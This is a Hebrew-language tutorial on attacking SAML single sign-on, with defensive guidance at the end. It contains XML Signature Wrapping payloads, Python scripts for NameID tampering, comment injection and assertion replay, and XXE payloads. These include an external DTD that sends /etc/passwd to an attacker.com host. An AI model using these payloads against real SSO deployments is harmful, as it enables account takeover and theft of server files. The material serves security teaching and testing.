תקיפת SAML - SAML Attacks¶
מבוא¶
SAML (Security Assertion Markup Language) הוא פרוטוקול אותנטיקציה מבוסס XML המשמש בעיקר בסביבות ארגוניות לניהול Single Sign-On (SSO). למרות שהפרוטוקול מציע מנגנוני אבטחה חזקים, הטמעות לקויות וחולשות בעיבוד XML יוצרות הזדמנויות תקיפה רבות.
סקירת זרימת SAML¶
השחקנים¶
- User (User / Principal) - the user who wants to access the service
- Service Provider - SP (Service Provider) - the application the user wants to access
- Identity Provider - IdP (Identity Provider) - the server that authenticates the user (Active Directory, Okta, etc.)
זרימת SP-Initiated SSO¶
1. User -> SP: Attempt to access the application
2. SP -> User: Redirect to IdP with SAML Request
3. User -> IdP: Authenticate (username + password)
4. IdP -> User: SAML Response with a signed Assertion
5. User -> SP: Forward the SAML Response
6. SP: Validate the signature and obtain the identity
מבנה SAML Response¶
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
ID="_response123" Version="2.0"
IssueInstant="2024-01-15T10:00:00Z"
Destination="https://sp.example.com/acs">
<saml:Issuer>https://idp.example.com</saml:Issuer>
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<!-- Digital signature -->
<ds:SignedInfo>
<ds:Reference URI="#_assertion456">
<ds:DigestValue>abc123...</ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>xyz789...</ds:SignatureValue>
</ds:Signature>
<saml:Assertion ID="_assertion456" Version="2.0"
IssueInstant="2024-01-15T10:00:00Z">
<saml:Issuer>https://idp.example.com</saml:Issuer>
<saml:Subject>
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">
user@example.com
</saml:NameID>
</saml:Subject>
<saml:Conditions NotBefore="2024-01-15T09:55:00Z"
NotOnOrAfter="2024-01-15T10:05:00Z">
<saml:AudienceRestriction>
<saml:Audience>https://sp.example.com</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
<saml:AuthnStatement AuthnInstant="2024-01-15T10:00:00Z">
<saml:AuthnContext>
<saml:AuthnContextClassRef>
urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport
</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>
<saml:AttributeStatement>
<saml:Attribute Name="role">
<saml:AttributeValue>user</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>
תקיפה 1: עטיפת signature XML - XML Signature Wrapping (XSW)¶
הרקע¶
בתקיפת XSW, התוקף מעביר את האלמנט החתום למיקום אחר ב-XML ומוסיף אלמנט זדוני במקום המקורי. ספריות שלא מאמתות כראוי את הקשר בין הsignature לתוכן עלולות לאמת את הsignature על האלמנט המקורי, אך להשתמש בתוכן הזדוני.
סוגי XSW¶
XSW Attack 1 - העברת Assertion¶
<!-- Original SAML Response (simple) -->
<Response>
<Assertion ID="original">
<Subject>
<NameID>user@example.com</NameID>
</Subject>
</Assertion>
<Signature>
<Reference URI="#original"/>
</Signature>
</Response>
<!-- XSW Attack: adding a malicious Assertion -->
<Response>
<!-- Malicious Assertion - not signed but will be read first -->
<Assertion ID="evil">
<Subject>
<NameID>admin@example.com</NameID>
</Subject>
</Assertion>
<!-- Original Assertion - signed but will be ignored -->
<Assertion ID="original">
<Subject>
<NameID>user@example.com</NameID>
</Subject>
</Assertion>
<Signature>
<Reference URI="#original"/>
</Signature>
</Response>
XSW Attack 2 - עטיפה ב-Extensions¶
<Response>
<Assertion ID="evil">
<Subject>
<NameID>admin@example.com</NameID>
</Subject>
</Assertion>
<Extensions>
<!-- Original signed Assertion hidden here -->
<Assertion ID="original">
<Subject>
<NameID>user@example.com</NameID>
</Subject>
</Assertion>
<Signature>
<Reference URI="#original"/>
</Signature>
</Extensions>
</Response>
XSW Attack 3 - שימוש ב-Object¶
<Response>
<Assertion ID="evil">
<Subject>
<NameID>admin@example.com</NameID>
</Subject>
</Assertion>
<Signature>
<Reference URI="#original"/>
<Object>
<!-- Hidden inside the Object of the signature -->
<Assertion ID="original">
<Subject>
<NameID>user@example.com</NameID>
</Subject>
</Assertion>
</Object>
</Signature>
</Response>
תקיפה 2: מניפולציית SAML Response - Response Manipulation¶
שינוי NameID¶
אם ה-SP לא מאמת את הsignature כראוי, או אם הsignature מכסה רק חלק מה-Response:
<!-- Original -->
<NameID>user@example.com</NameID>
<!-- Manipulation -->
<NameID>admin@example.com</NameID>
הdecoding ושינוי SAML Response¶
import base64
import zlib
from lxml import etree
def decode_saml_response(saml_b64):
"""Decode a SAML Response from Base64"""
decoded = base64.b64decode(saml_b64)
try:
# Attempt deflate (SAML Redirect binding)
decompressed = zlib.decompress(decoded, -15)
return decompressed
except:
# Already not compressed (POST binding)
return decoded
def modify_saml_response(saml_xml, new_nameid):
"""Change the NameID in a SAML Response"""
root = etree.fromstring(saml_xml)
# Namespaces
ns = {
'saml': 'urn:oasis:names:tc:SAML:2.0:assertion',
'samlp': 'urn:oasis:names:tc:SAML:2.0:protocol'
}
# Find and change NameID
name_ids = root.findall('.//saml:NameID', ns)
for name_id in name_ids:
print(f"[*] Original NameID: {name_id.text}")
name_id.text = new_nameid
print(f"[*] New NameID: {name_id.text}")
return etree.tostring(root)
def encode_saml_response(saml_xml):
"""Encode a SAML Response back to Base64"""
return base64.b64encode(saml_xml).decode()
# Usage
saml_response = "PHNhbWxwOl..." # Base64 encoded
xml = decode_saml_response(saml_response)
modified = modify_saml_response(xml, "admin@example.com")
new_response = encode_saml_response(modified)
print(f"[+] Attacked SAML Response: {new_response}")
תקיפה 3: הinjection הערה - Comment Injection in SAML¶
הרקע¶
חולשה שהתגלתה ב-2018 (CVE-2017-11427) בספריות SAML רבות. הוספת הערת XML בתוך NameID גרמה לספריות לקטוע את הערך.
דוגמה¶
<!-- Original -->
<NameID>user@example.com</NameID>
<!-- With a comment -->
<NameID>admin@example.com<!--.evil.com--></NameID>
איך זה עובד¶
1. The XML library parses the NameID as: "admin@example.com"
(the comment is stripped)
2. Signature validation succeeds because the comment is a legal part of XML
3. The SP receives "admin@example.com" as the user's identity
4. The attacker gains access as admin!
קוד exploit¶
def comment_injection_attack(saml_xml, target_user, original_user):
"""Comment injection attack in SAML"""
from lxml import etree
root = etree.fromstring(saml_xml)
ns = {'saml': 'urn:oasis:names:tc:SAML:2.0:assertion'}
name_ids = root.findall('.//saml:NameID', ns)
for name_id in name_ids:
# Create a NameID with a comment
# target_user = "admin@example.com"
# original_user = "user@example.com"
# The new value: admin@example.com<!--user@example.com-->
name_id.text = target_user
comment = etree.Comment(original_user)
name_id.append(comment)
return etree.tostring(root)
תקיפה 4: שחזור Assertion - Assertion Replay¶
הרקע¶
אם ה-SP לא עוקב אחרי Assertions שכבר שומשו, ניתן לשלוח אותם שוב.
תנאים לexploit¶
1. The SP doesn't check InResponseTo (the original request identifier)
2. The SP doesn't keep a list of Assertion IDs already used
3. The time window (NotBefore/NotOnOrAfter) is wide enough
4. Or the SP doesn't check the time window at all
הexploit¶
import requests
import time
def replay_saml_assertion(sp_acs_url, saml_response, relay_state=None):
"""Replay a SAML Assertion"""
data = {
'SAMLResponse': saml_response
}
if relay_state:
data['RelayState'] = relay_state
# First attempt - original
resp1 = requests.post(sp_acs_url, data=data, allow_redirects=False)
print(f"[*] Attempt 1: {resp1.status_code}")
# Second attempt - replay
time.sleep(2)
resp2 = requests.post(sp_acs_url, data=data, allow_redirects=False)
print(f"[*] Attempt 2 (replay): {resp2.status_code}")
if resp2.status_code in [200, 302]:
print("[+] Assertion replay works!")
else:
print("[-] Assertion replay blocked")
תקיפה 5: XXE ב-SAML - XXE in SAML¶
הרקע¶
SAML מבוסס על XML, ולכן חשוף ל-XXE (XML External Entity) אם הפרסר לא מוגדר כראוי.
דוגמאות¶
<!-- Basic XXE to read a file -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:Subject>
<saml:NameID>&xxe;</saml:NameID>
</saml:Subject>
</saml:Assertion>
</samlp:Response>
<!-- XXE with SSRF -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://internal-server:8080/admin">
]>
<samlp:Response>
<saml:Assertion>
<saml:Issuer>&xxe;</saml:Issuer>
</saml:Assertion>
</samlp:Response>
<!-- XXE with parameter entity (blind) -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<samlp:Response>
<saml:Assertion>
<saml:Subject>
<saml:NameID>test</saml:NameID>
</saml:Subject>
</saml:Assertion>
</samlp:Response>
קובץ DTD בשרת התוקף (evil.dtd)¶
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % wrapper "<!ENTITY % exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%wrapper;
%exfil;
כלי עבודה: SAMLRaider - הרחבת Burp¶
התקנה ושימוש¶
1. Install SAMLRaider from the BApp Store
2. Capture a SAML request (POST to the ACS endpoint)
3. In the SAMLRaider tab:
- Automatic decoding of the SAML Response
- Editing NameID and other fields
- Automatic XSW execution
- Re-signing with a self-owned key
- XXE testing
תקיפות אוטומטיות עם SAMLRaider¶
XSW attacks:
1. XSW1: Copy the Assertion and insert it before the original
2. XSW2: Insert a new Assertion after the Response
3. XSW3: Insert a new Assertion before the original Assertion
4. XSW4: Copy the Assertion into Extensions
5. XSW5: Change the URI of the Reference
6. XSW6: Copy the Assertion into an Object inside the signature
7. XSW7: Modify Extensions with the original Assertion
8. XSW8: Insert the original Assertion as a child of a malicious Assertion
סקריפט ניתוח SAML¶
#!/usr/bin/env python3
"""
Analyze a SAML Response
"""
import base64
import zlib
from lxml import etree
def analyze_saml(saml_b64):
"""Full analysis of a SAML Response"""
# Decode
try:
raw = base64.b64decode(saml_b64)
try:
xml = zlib.decompress(raw, -15)
except:
xml = raw
except:
print("[-] Error decoding Base64")
return
root = etree.fromstring(xml)
ns = {
'saml': 'urn:oasis:names:tc:SAML:2.0:assertion',
'samlp': 'urn:oasis:names:tc:SAML:2.0:protocol',
'ds': 'http://www.w3.org/2000/09/xmldsig#'
}
print("[*] Analyzing SAML Response")
print("=" * 50)
# Basic info
issuer = root.find('.//saml:Issuer', ns)
if issuer is not None:
print(f" Issuer (Issuer): {issuer.text}")
# NameID
name_ids = root.findall('.//saml:NameID', ns)
for nid in name_ids:
print(f" NameID: {nid.text}")
print(f" Format: {nid.get('Format', 'N/A')}")
# Conditions
conditions = root.find('.//saml:Conditions', ns)
if conditions is not None:
print(f" NotBefore: {conditions.get('NotBefore', 'N/A')}")
print(f" NotOnOrAfter: {conditions.get('NotOnOrAfter', 'N/A')}")
# Audience
audiences = root.findall('.//saml:Audience', ns)
for aud in audiences:
print(f" Audience: {aud.text}")
# Attributes
attrs = root.findall('.//saml:Attribute', ns)
for attr in attrs:
name = attr.get('Name', 'N/A')
values = [v.text for v in attr.findall('saml:AttributeValue', ns)]
print(f" Attribute '{name}': {', '.join(values)}")
# Signatures
signatures = root.findall('.//ds:Signature', ns)
print(f"\n Signatures: {len(signatures)}")
for i, sig in enumerate(signatures):
ref = sig.find('.//ds:Reference', ns)
if ref is not None:
print(f" Signature {i+1}: Reference URI={ref.get('URI', 'N/A')}")
# Formatted XML
print("\n[*] Full XML:")
print(etree.tostring(root, pretty_print=True).decode())
if __name__ == "__main__":
saml = input("Enter SAML Response (Base64): ")
analyze_saml(saml)
הגנות - Defenses¶
1. אימות signature קפדני¶
from signxml import XMLVerifier
def validate_saml_response(saml_xml, idp_cert):
"""Validate a SAML signature"""
try:
# Validate the signature
verified = XMLVerifier().verify(
saml_xml,
x509_cert=idp_cert
)
# Make sure the signature covers the Assertion actually used
# and not just some other element in the XML
return verified.signed_xml
except Exception as e:
raise ValueError(f"Invalid signature: {e}")
2. מניעת XXE¶
from lxml import etree
def safe_parse_xml(xml_string):
"""Safely parse XML without XXE"""
parser = etree.XMLParser(
resolve_entities=False,
no_network=True,
dtd_validation=False,
load_dtd=False
)
return etree.fromstring(xml_string, parser)
3. אימות מלא של Response¶
def validate_saml_full(response, expected_audience, expected_destination):
"""Full validation of a SAML Response"""
# 1. Validate signature
verify_signature(response)
# 2. Check Issuer
verify_issuer(response, trusted_issuers)
# 3. Check Audience
verify_audience(response, expected_audience)
# 4. Check Destination
verify_destination(response, expected_destination)
# 5. Check time window
verify_time_window(response)
# 6. Check InResponseTo
verify_in_response_to(response, pending_requests)
# 7. Check for duplicates (prevent replay)
verify_not_replayed(response)
4. המלצות נוספות¶
- Use updated and maintained SAML libraries
- Configure the XML parser without entity resolution
- Require a signature on the Assertion (not just on the Response)
- Perform canonicalization before signature validation
- Keep a list of Assertion IDs already used
- Limit the time window to the minimum required
- Always check Audience and Destination
סיכום¶
תקיפות SAML הן מורכבות אך עלולות לאפשר השתלטות מלאה על חשבונות. הנקודות העיקריות:
- תקיפות XSW מנצלות חוסר התאמה בין אימות signature לקריאת תוכן
- הinjection הערה בתוך NameID היא טכניקה פשוטה ויעילה
- XXE ב-SAML מסוכן במיוחד עקב גישה לקבצים פנימיים
- שחזור Assertions מתאפשר ללא מעקב אחר שימוש
- כלי SAMLRaider מקל על זיהוי וexploit חולשות SAML
- הגנה נכונה דורשת אימות signature קפדני, מניעת XXE, ואימות מלא של כל שדות ה-Response